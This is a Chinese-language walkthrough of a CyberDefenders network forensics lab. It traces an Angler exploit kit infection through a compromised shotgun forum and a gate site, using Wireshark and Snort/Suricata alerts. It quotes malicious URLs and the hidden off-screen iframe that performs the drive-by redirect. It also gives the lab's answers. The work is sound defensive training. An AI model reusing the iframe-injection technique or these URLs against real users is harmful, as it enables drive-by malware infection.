Malware Traffic Analysis-1
lab地址:https://cyberdefenders.org/labs/18
练习场景
故事是这样的,Tom和Jake是我们公司安全运行中心SOC的新员工。他们呢分别给自己去了花名为”Goofus”和”Gallant”,这两个花名都是来自某个儿童杂志中的漫画。Tom又叫做Goofus,Jake又叫做Gallant。
在感恩节前夕的周四,Tom和Jake正在SOC工作。Tom带了他自己的Windows笔记本来上班,他想用在上班的时候摸会儿鱼,冲下浪。Jake呢就是兢兢业业工作的老实人。
Jake的感恩节计划已经定下来了,他打算吃他前不久在超市里买的火鸡。相比起Jake,Tom是个火鸡狂热分子,他打算自己亲自去猎一只火鸡。为了打成他的感恩节计划,Tom打算买一杆shotgun。Tom在上网的时候连接了SOC中心的wifi,然后开始挑选他的shotgun。没玩一会儿,Tom的电脑就弹出了一些警报,不一会儿,电脑就直接蓝屏宕机了。。。
你呢,刚好负责培训这两个新人Goofus和Gallant。毫无疑问的是,Goofus Tom会因为他在上班事件摸鱼还感染了病毒被开除,而Gallant是个经验尚不足的新手,所以你需要帮助Tom找到他的电脑被感染的原因。
你检查了Tom的电脑,然后发现了一条可疑的注册表信息,和该注册表信息相关的文件的SHA256值为: d16ad130daed5d4f3a7368ce73b87a8f84404873cbfc90cc77e967a83c947cd2 。
随后,你查看了网络alerts。遗憾的是,你司没啥钱配置商业的网络入侵检测系统(Intrusion Detection System,IDS),但幸运的是,低成本的解决方案是配置了的。你可以查看Snorts alerts和Suricata alerts来寻找蛛丝马迹。
Snots:
Suricata:
分析过程
了解了背景之后,进入正题,下载题目提供的压缩包,解压后得到4个文件:
1 | ╭─kali@kali ~/c40-malware-traffic-analysis-4 |
其中malware-traffic-analysis-4-snort-events.txt
文件是Snort
日志文件,malware-traffic-analysis-4-suricata-events.txt
则是是Suricata日志文件。
Problem 1
*What is the victim IP address? *
查看malware-traffic-analysis-4-snort-events.txt
文件,发现了两条这样的记录:
1 | [**] [1:30320:2] BLACKLIST Connection to malware sinkhole [**] |
流量从主机166.78.145.90
到主机10.1.25.119
,由此可知,受害主机ip为10.1.25.119
。
另一种方法,我们可以在wireshark中过滤:
1 | http.request |
过滤之后发现请求都是从ip为10.1.25.119
的主机发出的,如果再过滤http.response
,可以看到,http响应数据包的目的地地址都是10.1.25.119
,因此可以判断受害主机IP为10.1.25.119
。
Problem 2
*What is the victim’s hostname? *
识别主机名通常有两种方式:
- 从DHCP流量中获取主机信息
- 从NBNS流量中获取主机信息
DHCP流量数据包有助于我们识别连接网络的几乎所有类型计算机的主机;NBNS流量数据包则主要由微软Windows系统计算机或运行MacOS系统的主机生成。
过滤dhcp流量包:
选择source ip为受害主机的dhcp流量包:
得到主机名为Turkey-Tom
。
不过受DHCP租期更新频率的影响,数据包中可能没有捕获到DHCP流量包。那我们可以使用NBNS流量来识别Windows系统主机或MacOS系统主机。
而且从题目场景中我们可以知道,受害者Tom使用的是一台Windows7的笔记本。所以我们可以用nbns
来过滤数据包中的NBNS流量。
Source IP皆为受害主机IP,那选择第一条流量数据,可以看到主机名为TURKEY-TOM
。
Problem 3
*What is the exploit kit name? *
为了找到恶意软件,我们可以从流量中提出可疑的文件,在wireshark中,选择File->Export Objects
,提供了5种文件传输协议:
- DICOM: Digital Imaging and Communications in Medicine,医学数字成像和通信协议,DICOM是基于TCP/IP的网络协议,通过DICOM将影像设备和存储管理设备连接起来。
- HTTP: HyperText Transfer Protocol,超文本传输协议,不用多介绍,是基于TCP协议的应用程传输协议,简单来说就是客户端和服务端进行数据传输的一种规则。
- IMF:Internet Messafe Format,互联网信息格式,是文本消息在互联网上传输的格式。
- SMB:ServerMessage Block,信息器服务块,是微软和英特尔在1987年制定的协议,主要作为微软网络的通讯协议。
- TFTP:Trivial File Transfer Protocal,简单文件传输协议,是TCP/IP协议簇中一个用来再客户机与服务器之间进行简单文件传输的协议,提供不复杂,开销不大的文件传输服务。
再选择HTTP
,能够得到通过Http协议传输的文件。
有非常多的文件通过HTTP协议传输,比如图片(image/jpeg),js脚本文件(text/javascript),网页文件(text/html)等,然后选择Save All,将所有文件都保存下来,然后全部扔进 ClamAV 中进行扫描,扫描了了677个文件后,确实发现了恶意软件:
选择Anlysis
,我们可以看到可疑的文件是一个名为who(2).olp%3fsave=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT
的文件:
在wireshark中可以看到,该文件是类型为application\x-shockwave-flash
的swf文件:
本小题中,exploit kit的名为Angler
。
除了上面这种方法以外,还可以将pcap包上传到VirusTotal扫描:
Snort和Suricata分别有47条和14条alters,查看详情:
在Snorts警报中发现了Exploit-Kit Angler。
Problem 4
*What is the IP address that served the exploit? *
接下来我们需要找到exploit kit的来源ip。
根据wireshark过滤出的文件,我们很容易定位到该文件对应的请求,发现该文件传输是从主机162.216.4.20
传送到受害主机上的,得到本题答案162.216.4.20
。
出了这种方法以外,我们还可以从info信息中过滤。info列是没有filter选项的,它是wireshark根据网络包内容生成的概要信息。我们可以这样过滤,首先进行搜索,Ctrl+f
,注意在前面的搜索类型中修改为String
,然后我们搜索关键词,比如who.olp
:
我们得到这样一条信息,受害主机10.1.25.119
向主机162.216.4.20
发送请求,对应的请求URI为:
1 | http://neuhaus-hourakus.avelinoortiz.com/who.olp?save=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT |
在该条流量的不远处,能找到来自主机162.216.4.20
的响应:
packet num 10960的数据包是受害主机向162.216.4.20
发起请求,packet num为11089的数据包是主机162.216.4.20
返回恶意软件给受害主机10.1.25.119
。
Problem 5
*What is the HTTP header that is used to indicate the flash version? *
从上题分析中我们已经知道,packet num 11089,恶意软件所在主机返回封装在swf文件中的恶意软件给受害者,所以这个flash version也应当与该包相关,查看该数据包:
追踪该数据包的HTTP流,右键Follow->HTTP Stream
,根据上图的关键词定位到该数据包:
该响应数据包对应的请求包中,可以看到与flash version相关的请求头为x-flash-version
。
Problem 6
*What is the malicious URL that redirects to the server serving the exploit? *
这个问题是,Tom访问Exploit Kit的主机地址时,是从哪个URL跳转过去的?
在这里我们需要先了解一下,用户一般是怎么被Exploit-Kit(后面简称EK)感染的。
Exploit-Ki通常被攻击者利用用来感染受害用户,可能在用户浏览网站的时候,在不知不觉间,就被EK感染。EK通常托管在专用于提供EK的服务器上。而用户如何访问到这些EK?通常是通过被感染的网站发生的。攻击者首先攻击感染合法网站,向这些被感染的网站页面注入恶意脚本,这些脚本能将用户导到提供EK的服务器上。当然这些都是在用户不知情的情况下发生的。
在最简单的场景下,攻击链一般是这样的:
Compromised(legitimate) website –> EK server
除了这种最简单的情况,很多时候,攻击者还会使用另一台服务器作为被感染的站点和EK服务器之间的gate。我们通常将这种情况称为redirect,因为它将流量从一个被感染的主机重定向到了EK服务器,当存在一个gate服务器的时候,攻击链是这样的:
Compromised website –> Gate –> EK
这个gate服务器通常是另一个被感染的website。当然,也有少数情况下,这个gate是攻击者自己搭建的专用服务器。在某些情况下,在到达EK之前,可能还存在2个或是3个gate:
Compromised website –> First gate –> Second gate –> EK
好了,回到这个流量包本身,我们需要回答的问题是,受害者Tom是如何访问到EK服务器162.216.4.20
的?
无非是两种情况:第一种,Tom访问了受感染的网站,然后受感染的网站利用脚本将Tom导向EK站点;第二种,Tom访问了受感染的网站,然后通过一个或多个gate,将Tom导向EK站点。
现在我们已经知道的是IP为162.216.4.20
的站点,对应的domain为neuhaus-hourakus.avelinoortiz.com
:
1 | http.request and ip.addr eq 162.216.4.20 |
我们搜索与该域名相关的流量:
1 | ip contains neuhaus-hourakus.avelinoortiz.com |
按照时间排序,我们注意到一条流量是从85.143.220.17
到受害主机的,这看起来像是一条gate相关的流量:
我们跟踪该条流量的TCP流,右键Follow->TCP Stream
:
从这条流量得知,Tom访问了IP为85.143.220.17
(域名为solution.babyboomershopping.org
)的站点,访问的URL为http://solution.babyboomershopping.org/respondents/header.js
,该站点中存在一个iframe页面,该页面嵌入了EK server的URL,使得Tom在不知情的情况下被EK server上的Exploit-Kit Angler感染。
所以,本题的答案为:
1 | http://solution.babyboomershopping.org/respondents/header.js |
Problem 7
*What is The CAPEC ID corresponding to the technique used to redirect the victim to the exploit server? More info at capec.mitre.org *
本题的问题是,攻击者是用什么技术将受害用户重定向到EK服务器的,它的CAPEC ID是什么?
经过Problem 6的分析,我们已经知道,攻击者在受害者访问的页面中嵌入了一个iframe,该iframe的参数为:
1 | <iframe style="position:absolute;left:-3311px;top:-3861px;width:309px;height:326px;" src="http://neuhaus-hourakus.avelinoortiz.com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29"></iframe> |
因为其位置参数设置得很夸张,所以用户根本察觉不到存在frame劫持的情况。
不过,本题问题的求的是CAPEC ID,是一种漏洞标准,全称为Common Attack Pattern Enumeration and Classification,即常见攻击模式枚举和分类。
所以,本题的答案为CAPEC-222
,对应的attack pattern即为iFrame Overlay
,属于点击劫持的一种分类。更加具体的细节可以参考:https://capec.mitre.org/data/definitions/222.html 。
Problem 8
*What is the FQDN of the compromised website? *
本题的问题是,受感染的网站的完全限定域名是什么?
到目前为止,我们还没有找到Tom上网时感染的源头是什么,他到底访问了什么站点导致他的主机被感染?
我们继续过滤,看看什么流量中包含gate站点:
1 | ip contains solution.babyboomershopping.org |
在一条从IP 64.34.173.208
到受害主机10.1.25.119
的流量中,包含solution.babyboomershopping.org
,跟踪该条TCP流:
由此我们得知,本题的答案,compromised website的完全限定域名为shotgunworld.com
。攻击者采用了相同的frame劫持的方法,通过iframe将受害者重定向至gate站点solution.babyboomershopping.org
,通过这个中间站点再将用户重定向至EK服务器。所以整条attack链为:
shotgunworld.com –> solution.babyboomershopping.org –> EK server
Problem 9
*The compromised website contains a malicious js that redirect the user to another website. What is the variable name passed to the “document.write” function? *
Hint:OX_
这道题的答案很简单,从上题追踪到的TCP Stream知道,iframe是当页面加载的时候,执行js,然后将iframe写入页面的:
所以本题的答案为OX_7f561e63
。
该流量包的分析就暂时到此为止了。